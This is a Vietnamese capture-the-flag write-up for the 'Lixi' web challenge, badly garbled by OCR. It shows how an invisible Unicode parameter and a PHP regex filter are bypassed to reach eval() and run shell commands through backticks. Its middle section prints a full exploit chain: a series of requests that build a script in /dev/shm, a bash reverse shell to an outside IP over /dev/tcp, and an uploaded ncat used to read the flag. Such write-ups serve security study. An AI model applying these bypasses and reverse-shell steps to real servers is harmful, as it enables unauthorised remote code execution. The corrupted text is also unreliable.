L4w’s Lixi Challenge Writeup

Challenge d4 cho san source code, van dé cla ching ta chi |a khai thac nhu thé nao.
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@ MRLL GF FAMTE @

<link rel="stylesheet" type="text/css" href="lul.css">
<pre»

<h3>f Hall of Fame @</h3>

c<h2r<?=Ffile_get_contents( hof.txt');?></h2>

<hr»

<?php

if($_GET['¢'] == '@") die(phpinfo());

$_ - $_GET[''];
highlight_file(_FILE_ );

if(preg match(™/[\w]{4,}/is",$_) || preg_match(" /LW W] W]~ hris™,8)) "
die("@");
sval(substr($_,0,30));

Pé y dén phan cudi source code cé 1 doan eval user input, nhin thi c6 vé nhu user input s& dugc lay
tr $_GET[''], tuy vay khi ta test nhdanh nay véi URL 14w. pw/?=1011 dé c6 tinh vao nhanh die()
thi % khéng duoc in ra. Nhiéu kha ndng & doan nay cé mét trick gi d6 lién quan téi Unicode (do
endpoint la mét emoji va dé vao nhanh phpinfo() ta cling cin emoji). Van dé mdi cla ta la lam thé
nao dé biét dugc dé |a char gi?
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May méan thay, & Chrome cé mét trick dé tim emoji kha tién loi. Dau tién ta boi den 2 ddu nhdy xung
quanh, chon Search with Google, sau d6 x6a hai ddu nhay & hai bén di [ dugc. Tim vdi query con lai
trén Google, ta cé két qua sau:
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About 1,230 results (0.15 seconds)

" INVISIBLE SEPARATOR - - MySEOSolution®
unicode.myseosolution.de » ... » Zeichen Beispiel = Translate this page

Das Zeichen " (Bezeichnung 'INVISIBLE SEPARATOR' aus dem Block 'General Punctuation’) im
Snippet

Unicode Utilities: UnicodeSet - Unicode.orge
cldr-build.unicode.org/UnicodeJsps/list-unicodeset jsp?a=%5B:toNfc=:%5D

General Punctuation — Invisible operators. items: 1. U+2063, INVISIBLE SEPARATCR. Fonts and
Display. If you don't have a good set of Unicode fonts (and modern browser), you may not be able to
read some of the characters. Some suggested fonts that you can add for coverage are: Noto Fonts site,
Unicode Fonts for ...

1&E78h — Free listening, videos, concerts, stats and photos at Last.ime
hitps:/fwww last im/music/H&ER=Eh v

Watch videos & listen free to 1ZB&Eh: tL& ¥iLZE & more. Discover more music, concerts, videos,
and pictures with the largest catalogue online at Last.fm.

1£i87Eh's Blography — Free listening, videos, concerts, stats and ...®
https:/fwww.last. im/music/AZEBh/+wiki

Watch videos & listen free to 1&BZh. Discover more music, concerts, videos, and pictures with the
largest catalogue online at Last.fm.

Vao két qua the 9 (carrickfergus.de), cé thé thay duwoc biéu dién cla char nay duéi dang URL encode
(YE2%81%A3):

s¢ Unicode Codepoints X

c |® Not secure | www.carrickfergus.de/public/unicode.php?action=by_char&ichar= 1}‘ = :

shapecatcher

Zgzichen : CK
H oK

Codepoint

Codepoint hex: |20

UTF-8-Bytefolge dezimal: 226 1295 163
UTF-8-Bytefolge hexadez.: EZ2 81 R3
UTE-8-Bytefolgse cktal: 342 201 243
UTF-8-Bytefolge bindr: 11100010 10000001 10100011

Bytestring-Notation: ‘\xeZ\zfl\xa3
URL-Escapesequanz: 3EZEE13R23

Codepage 437-Rusgabe dsr UTFE-Secquenz: T
Codepage 850-Ausgabe der UTFE-Sequenz: Oi
Windows-1252-Rusgabe der UTFE-Seguenz: 3

Latin l-Zusgabe der UTFS-Sequenz: alf
Codepage 855-Rusgabe der UTFE-Segquenz: TET
Codepage 269-Rusgabe dsr UTFE-Sequenz: U0

Unicode-Codepoint dezimal: 8291
Imircnde-Condencint hexade - 063

Test lai v&i query string ?%E2%81%A3=loll:
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@ HRLL 6F FENE @

<link rel="stylesheet” type="text/css" href="lul.css">
<pre>

<h3>0 Hall of Fame @h</h3>

<h2r<?=file get contents( hof.txt');?></h2>

<hr»
<?php
/ Co t tol 888 to get the flag
if($ GET['¢p'] == '®") die(phpinfa());

& =% GET[''];

highlight file(_FILE );

if(preg_match("/[\w]{4,}/is",%_) || preg_match{"/\[|NW"] [N\ %]~ \./is™,$_3) // minh thich thi minh block hoy §§
die("a"); f/ 4cm is too much
eval{substr(%_,0,30));

Okay, ta da vao duoc nhanh die(), tuy nhién do Chrome qua tién lgi, né hién thi dwoc ca char
INVISIBLE SEPARATOR trén address bar (possible phishing 0-day in Chrome?) nén ta s& chuyén qua
Firefox dé dé test hon:

lw.pf 8/ EUFTHOREEIR A w.pw/ & /7="/d") M. pw/ & [?=die( M. pw/ & /7= die( ldw.pw/ & /?="sed +

<« ¢ @ @ lw.pw/@/7%E2%81%A3=oll e @ | | Q search o =

@ 121 GT PO §

<link rel="stylesheet" type="text/css" href="lul.css">»
<prex

<h3>@® Hall of Fame (</h3>
(h2><?=file_gec_concent5i'nof.txt'W;?><fh2>
<hr>
<?php

'@' ) die(phpinfo()):

iE(§_GET["¢r']
$_ = § GET[''1:
highlight_file(_ FILE );:

if (preg_match ("/[\w]{4,}/is",%_}) || preg_match("/\[IN"]"IN[INI~IN. /18", %)) // minh thich thil minh block hoy 8
die("®"): // 4cm is too much
eval (substr($_,0,30));




Tiép dén, ta can bypass phan regex cla tac gia. Theo phan regex nay, input cla ta s& khong duoc
chtra cac tlr dai qua 3 ki tu (diéu kién 1), va khéng duwoc chra 6 char [, ", ', A, ~, . (diéu kién 2), con
ham eval() phia sau s& chi Iy 30 ki ty dau cda user input (diéu kién 3).
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PHP c6 mot tinh nang kha tién lgi, d6 la backtick operator
(http://php.net/manual/en/language.operators.execution.php), ¢ thé st dung tuong tu nhu ham
shell exec dé I3y gia tri stdout cla 1 shell command. Do vay, ta c6 thé chuyén ham eval() kia
true tiép thanh arbitrary shell command execution.

Cé mot van dé 13 lam nhuw thé nao dé biét dugc két qua cha mét 1énh minh d3 chay v&i nhirng gidi
han d3 cho? That may man, & source code cé san vi du cho ching ta vé ham die(), nén ta cé thé lay
k&t qua clia mot Iénh shell bang 1énh PHP die (" ... )

Thir chay cac Iénh dé tim hiéu vé mai truong (Is, ss, cat...) ta s& thay mot file tén |a flag nam &
/home/1ixi, tuy nhién ta khéng cé quyén doc file nay. Thir chay netcat, ta sé thay trén server
khong cé sin Iénh netcat, nén ta can tiép can theo huéng khac.

Mac du ta c6 thé chay dwoc mot sé [énh, nhung do cd gidi han regex vé do dai tlr, char bi cdm va dé
dai t8i da |énh c6 thé nhap & trén nén ta can phai dung mot sé trick dé vuot qua gidi han nay. Ta cé
thé dung wildcard * dé rut gon tén céc file, va 10 redirection dé xay dung dan dan mét file shell
script phirc tap. Thi ghi file & /tmp c6 vé khong thanh cong, nén ta s& st dung mét vi tri lwu file tam
khac cla Linux, dé 1a /dev/shm.

Dé ghi dugc vao file, do ta khdng thé control input nén ta cdn mot 1énh 13y input tir argv va cé thé
ghi input d6 ra file, vi du nhu 1énh /bin/echo. Tuy vay, echo qué dai (vi pham diéu kién 1), hon nira
echo ty append newline sau méi lan ghi, do vay ta s& dung mét Iénh khac, d6 13 printf, nam &
/usr/bin/printf.

DE thda man diéu kién 1, ta can tao 1 alias gdm cac tir ngdn hon cho lénh printf (& vi du ndy cé thé
tiét kiem duogc 1-2 char so v&i chay truc ti€p), dieu nay cé thé dé dang thuc hién vdilénh cp va
wildcard:

14w.pw//?%E2%81%A3=‘cp /u*/b*/pr*f /dev/shm/p”;

T day, ta cé thé goi /dev/shm/p dé thyc hién lénh printf. Ta c6 thé tao 1 file sir dung > operator,
va sau d6 thém [an lwot vao file nay bang >> operator. Viéc tiép theo s& 13 tao mot shell script (ta dat
tén cho né la /dev/shm/v), n6i dung cla shell script s& la m& reverse shell vé server cla ta, bang 1
trick ti€p theo 13 sir dung tinh nang TCP pseudo-device cla Bash:


http://php.net/manual/en/language.operators.execution.php

bash -i >& /dev/tcp/13.115.164.244/6969 0>&1

C6 mot van dé & day, d6 |a dja chi IP s& chira ddu cham, diéu nay vi pham diéu kién 2 & trén. Dé khac
phuc van dé nay, trong qua trinh xay dwng file, minh s dung ki ty ‘f’ thay cho ddu cham, sau d6
dung sed dé thay cac ki tu ‘f’ thanh dau chadm véi hex representation (minh cé thé st dung truc tiép
printf dé in ki ty hex/oct, tuy nhién trong lic thir remote thi cach nay khdng thanh céng, minh cling
chua biét tai sao). Ta xay dwng file /dev/shm/v bang céc request sau:

14w.pw//?%E2%81%A3=‘/d*/sh*/p ba>/dev/shm/v’ ;
14w.pw//?%E2%81%A3=‘/d*/sh*/p sh>>/dev/shm/v’ ;
14w.pw//?%E2%81%A3=‘/d*/sh*/p \ \-i>>/dev/shm/v";
14w.pw/ @)/ P%E2%81%A3="/d*/sh*/p \ \>>>/dev/shm/v";
law.pw/ &)/ P%E2%81%A3="/d*/sh*/p \%26\ >>/dev/shm/v’;
l4w.pw/ @)/ P%E2%81%A3="/d*/sh*/p /dev>>/dev/shm/v";
14w.pw//?%E2%81%A3=‘/d*/sh*/p /tcp>>/dev/shm/v’;
l4w.pw//?%E2%81%A3=‘/d*/sh*/p /13>>/dev/shm/v’;
l4w.pw//?%E2%81%A3=‘/d*/sh*/p f>>/dev/shm/v’;
l4w.pw//?%E2%81%A3=‘/d*/sh*/p 115>>/dev/shm/v’;
l4w.pw//?%E2%81%A3=‘/d*/sh*/p f>>/dev/shm/v’;
14w.pw//?%E2%81%A3=‘/d*/sh*/p 164>>/dev/shm/v’;
law.pw/ &)/ %E2%81%A3="/d*/sh*/p f>>/dev/shm/v;
law.pw/ &)/ P%E2%81%A3="/d*/sh*/p 244>>/dev/shm/v;
l4w.pw/ @)/ P%E2%81%A3="/d*/sh*/p /696>>/dev/shm/v";
l4w.pw//?%E2%81%A3=‘/d*/sh*/p 9\ ©>>/dev/shm/v’;
l4w.pw//?%E2%81%A3=‘/d*/sh*/p \>\%26>>/dev/shm/v" ;
l4w.pw//?%E2%81%A3=‘/d*/sh*/p 1 >>/dev/shm/v";

Sau d6 dung sed dé thay ddu chdm vao:
l4w.pw//?%E2%81%A3=‘sed -i s/f/\x2e/g /d*/sh*/v";

Tién hanh nghe reverse shell connection bang 1énh nc -vv -1 6969, sau dé chay bash script ta vira xay
dung dugec: (lvu y 1a /dev/tep chi cé y nghia trong méi truwding bash, nén ta can chay vdi bash thay vi
sh)

1aw.pw/ &)/ 2%E2%81%A3=die (" /bin/bas* /dev/shm/v™);

Khi d3 cé shell, ta s& thay & remote server khéng cé san lénh netcat. Ta cé thé st dung céc trick khac
dé connect duoc tdi localhost:8888, hodc don gian hon 1a up binary netcat I&n server. Profit @ @
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B3 jptlp - ubuntu@13.115.164.244:22 - Bitvise xterm - ubuntu@ip-172-26-3-249; ~ - [m| x

[-P proxy_username] [-p source_port] [-q seconds] [-s source]
yword] [-V rtable] [-w timeout] [-X proxy_protocol]
address[:port]] [destination] [port]
wwiw-data@l {dev/shm$% ./ncat localhost B8B88
./ncat localhost 8888
<textarea>
flag[happy_BE_new_year]

Gri cai flag, writeup, nickname tdi email: manhluat@vnsecurity.net
iriteup ko dc publish truwéc 11:59PM 15/02/2018 GMT+7

< [textarea>

www-data@lixi:/dev/shm$ ./ncat localhost 8888 | base64
./ncat localhost 8888 | basesd
PHR1eHRhecmVhPgpmbGFnW2hhcHBSX/ CfjIpfbmV3X311YXJ« taSBjweFpIGZsYWcsIHdy

aXR1dXAsIG5pY2tuYW11IHThuStpIGVtYWlsOiBtYWSobHVhdEB2bnN1Y3VyaXR5Lm51dAoK
dGV1cCBrbyDEKWMgcHVibGlzaCBBcsawdbubYyAxMTolOVBNIDELLzAyLzTwMTg
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www-data@lixi:/dev/shm$ 1s

| <textarea>
2 flag[happy_._new_year*]

Gui cai flag, writeup, nickname tdi email: manhluat@vnsecurity.net

6 Writeup ko dc publish trudc 11:59PM 15/02/2018 GMT+7
7 </textarea>

Happy Lunar New Year!



